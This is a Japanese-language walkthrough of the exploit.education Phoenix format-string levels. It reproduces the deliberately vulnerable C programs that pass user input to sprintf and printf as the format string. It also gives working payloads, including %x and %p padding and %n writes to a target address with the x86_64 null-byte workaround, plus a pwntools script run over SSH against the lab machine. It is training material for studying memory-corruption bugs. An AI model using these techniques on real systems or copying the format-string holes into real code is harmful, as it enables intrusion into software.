新しい章では、フォーマット文字列の脆弱性を利用した話をしています。
format-two はすべて x86 の問題解決策で、x86_64 での \x00 の罠を回避する方法をコメント欄で見つけるのにかなりの時間がかかりました。
format-zero#
本題のソースコード#
/*
* phoenix/format-zero, by https://exploit.education
*
* "changeme"変数を変更できますか?
*
* 壁に0本のビール、0本のビール!1本取って、回して、壁に4294967295本のビール!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "バッファを取得できません");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("よくやった、'changeme'変数が変更されました!");
} else {
puts(
"ああ、'changeme'はまだ変更されていません。もう一度試してみますか?");
}
exit(0);
}
解法#
15 桁のフォーマット文字列を使って、32 ビット以上の出力を生成すれば、changeme を上書きできます。
c の可変引数はスタック上に存在し、引数の数に対する検証はありません。だから、直接数字をたくさん出せばいいのです。
user@phoenix-amd64:~$ python -c "print('%x'*15)"|/opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
よくやった、'changeme'変数が変更されました!
gdb でメモリにフォーマットされたものを見てみましょう:
(gdb) p (char*)0x00007fffffffe650
$4 = 0x7fffffffe650 "ffffe640f7ffc546712e712ea0a0a0affffe6d8078257825"
48 桁ありますね
ああ、突然 "%32x" が使えることを思い出しました。。。(なぜ 32 ビットで十分かというと、入力の末尾に \n があるからです)
format-one#
changeme を固定の 0x45764f6c に変更します。前の問題の基礎の上にもう一つ追加するだけです。
user@phoenix-amd64:~$ python -c "from pwn import *;print('%32x'+p64(0x45764f6c))"|/opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
よくやった、'changeme'変数が正しく変更されました!
p64 は 64 ビット整数をバイトにパッケージ化するために使用します。
format-two#
ソースコード#
/*
* phoenix/format-two, by https://exploit.education
*
* "changeme"変数を変更できますか?
*
* どんな花を花瓶に入れてはいけないのか?
* カリフラワーです。
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("よくやった、'changeme'変数が正しく変更されました!");
} else {
puts("次回はもっと運が良いでしょう!\n");
}
exit(0);
}
理論#
% n を利用して、出力されたバイト数を特定のアドレスに書き込みます。
ここでは printf に後続の引数がないため、スタック内の特定のアドレスに書き込むことができます。
まず、スタックの頂点から制御可能な入力までの距離を見つけ、% p を埋め込みます。1 つの % p は 8 バイトを消費します。
この時、x86 と x86_64 の状況は少し異なります。x86 ではこのようにできます(https://n1ght-w0lf.github.io/binary%20exploitation/format-two/)
/opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
書き込みたいアドレス(changeme のアドレス)を最初に置き、計算されたスタックの頂点から文字列までの距離に基づいて % x を配置します。しかし、x64 の changeme アドレスの末尾には \x00 があり、上記のようにすると切り捨てられてしまいますが、次のようにできます:(https://blog.lamarranet.com/index.php/exploit-education-phoenix-format-two-solution/のコメント欄)
/opt/phoenix/amd64/format-two $'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60'
% p 文字列が 1 つ増えるごとに 2 バイト増加しますが、スタック上の 8 バイトを消費します。これにより、ある数に達するまでスタック上の % n の下にちょうど 0x00600af0 が来るという追いかけ問題が形成されます。
注意点#
bash で $(balabala) を引数として使用する場合、その中に改行があると自動的に 2 つの引数に分割されます。
したがって、次のようにはできません。
/opt/phoenix/amd64/format-two $(cat payload)
Python を使ってみましょう#
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'%p'*15+b'%n\xf0\x0a\x60'
sh = shell.process(argv=["/opt/phoenix/amd64/format-two", shellcode])
sh.interactive()